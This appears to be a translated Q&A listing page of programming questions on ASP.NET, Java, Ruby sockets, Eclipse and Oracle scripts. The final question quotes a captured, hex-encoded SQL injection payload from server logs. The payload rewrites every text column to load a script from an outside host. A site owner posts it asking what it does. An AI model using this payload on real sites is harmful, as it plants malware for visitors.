问题列表 - 第1701页

HTML.ActionLink方法

假设我有一堂课

public class ItemController:Controller
{
    public ActionResult Login(int id)
    {
        return View("Hi", id);
    }
}
Run Code Online (Sandbox Code Playgroud)

在不在Item文件夹中的页面上ItemController,我想创建一个指向该Login方法的链接.那么Html.ActionLink我应该使用哪种方法以及我应该传递哪些参数?

具体来说,我正在寻找替代方法

Html.ActionLink(article.Title,
    new { controller = "Articles", action = "Details",
          id = article.ArticleID })
Run Code Online (Sandbox Code Playgroud)

已经在最近的ASP.NET MVC化身中退役了.

.net c# asp.net-mvc html-helper actionlink

241
推荐指数
8
解决办法
68万
查看次数

如何获取主类的Java类依赖项列表?

有没有办法找到java主类的所有类依赖项?

我一直在手动筛选主类的导入和它的导入但后来意识到,因为一个人不必导入同一个包中的类,所以我把一个不完整的列表放在一起.

我需要一些能够递归地找到依赖关系的东西(也许是定义的深度).

java dependencies dependency-management

9
推荐指数
3
解决办法
2万
查看次数

你如何使用Ruby找到一个免费的TCP服务器端口?

我正在尝试创建一个使用一次的HTTP服务器来处理单个回调,并需要帮助在Ruby中找到一个免费的TCP端口.

这是我正在做的事情的骨架:

require 'socket'
t = STDIN.read
port = 8081
while s = TCPServer.new('127.0.0.1', port).accept
  puts s.gets
  s.print "HTTP/1.1 200/OK\rContent-type: text/plain\r\n\r\n" + t
  s.close
  exit
end
Run Code Online (Sandbox Code Playgroud)

(它回应第一个连接的标准输入,然后死掉.)

如何自动找到要监听的空闲端口?

这似乎是在远程服务器上启动作业的唯一方法,然后使用唯一的作业ID回调.然后可以查询此作业ID以获取状态信息.为什么原始设计师在安排我永远不会知道的工作时不能只返回作业ID.无法使用单个端口,因为可能会发生与多个回调的冲突; 这样端口只用了+ - 5秒.

ruby sockets http

10
推荐指数
2
解决办法
8121
查看次数

ASP.NET主题图像

我如何设置一个图像来自一个主题目录(我的主题更改,所以我不想直接引用)我相信这是可能的,但我找到的每个例子似乎都不起作用.它们通常是这样的:

asp:image ID ="Image1"runat ="server"ImageUrl ="〜/ Web/Mode1.jpg"/

其中Web将是我的主题文件夹中的子目录.建议主题目录将在运行时添加.

asp.net themes

13
推荐指数
1
解决办法
1万
查看次数

Visual Studio的Eclipse键绑定

有没有人有类似于VS 2005的键绑定方案可用于Eclipse?

如何将它导入Eclipse的首选项(我只看到导出按钮).

eclipse keyboard-shortcuts visual-studio

64
推荐指数
3
解决办法
3万
查看次数

如何告诉Java将逻辑字体(例如SansSerif)映射到系统上的特定字体?

有没有办法在运行Java程序时将逻辑字体(例如SansSerif)映射到不同的字体?如果是这样,Java VM版本之间的方法有何不同?

java fonts

5
推荐指数
1
解决办法
2271
查看次数

从java运行oracle sql脚本

我有一堆sql脚本,应该在java Web应用程序启动时升级数据库.

我尝试使用ibatis scriptrunner,但它在定义触发器时失败了,其中";" 字符不标记声明的结尾.

现在我已经编写了我自己的脚本运行版本,它基本上可以完成这项工作,但会破坏可能的格式和注释,尤其是在"创建或替换视图"中.

public class ScriptRunner {
private final DataSource ds;


public ScriptRunner(DataSource ds) {
    this.ds = ds;
}

public void run(InputStream sqlStream) throws SQLException, IOException {
    sqlStream.reset();
    final Statement statement = ds.getConnection().createStatement();
    List<String> sqlFragments = createSqlfragments(sqlStream);
    for (String toRun : sqlFragments) {
        if (toRun.length() > 0) {
            statement.execute(toRun);
        }
    }
}

private static List<String> createSqlfragments(InputStream sqlStream) throws IOException {
    BufferedReader br = new BufferedReader(new InputStreamReader(sqlStream));

    List<String> ret = new ArrayList<String>();
    String line;
    StringBuilder script = new …
Run Code Online (Sandbox Code Playgroud)

java sql oracle scripting inputstream

9
推荐指数
3
解决办法
3万
查看次数

UserHostAddress提供错误的IP

我收集用户访问我网站的IP地址的统计信息,我注意到只有两个IP地址,172.16.16.1和172.16.16.248.我用来确定IP地址的属性是

Request.UserHostAddress
Run Code Online (Sandbox Code Playgroud)

IP地址信息丢失的原因是什么?所有用户都来自世界各地,因此他们不能仅仅支持两个代理.

asp.net networking ip-address

11
推荐指数
3
解决办法
2万
查看次数

功能编程适合哪种问题?

功能编程似乎是计算机科学的一种范式,它具有越来越多的回声.

我想知道使用函数式编程方法而不是更传统的面向对象方法可以更好地解决哪种问题.

谢谢.

functional-programming

12
推荐指数
3
解决办法
2527
查看次数

尝试SQL注入攻击 - 他们试图做什么?

我有一个面向公众的网站,过去几周一直在接受一些SQL注入攻击.我专门使用参数化存储过程,所以我认为没有成功的攻击,但最近的日志显示了一个有趣的技术:

为清晰起见添加了换行符

http://www.mydummysite.uk/mypage.asp?l_surname=Z;DECLARE%20@S%20CHAR(4000);SET 
@S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263 
686172283430303029204445434C415245205461626C655F437572736F7220435552534F 
5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F
626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E69 
6420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F72 
20622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970 
653D31363729204F50454E205461626C655F437572736F72204645544348204E45585420 
46524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528 
404046455443485F5354415455533D302920424547494E20657865632827757064617465 
205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C 
736372697074207372633D22687474703A2F2F777777322E73383030716E2E636E2F6373 
7273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D2077 
6865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C73 
6372697074207372633D22687474703A2F2F777777322E73383030716E2E636E2F637372 
73732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E455854 
2046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E442043 
4C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F43
7572736F72 AS CHAR(4000));EXEC(@S);&_X="

任何人都可以了解"CAST和EXEC"试图做些什么吗?

sql-server sql-injection

22
推荐指数
4
解决办法
2405
查看次数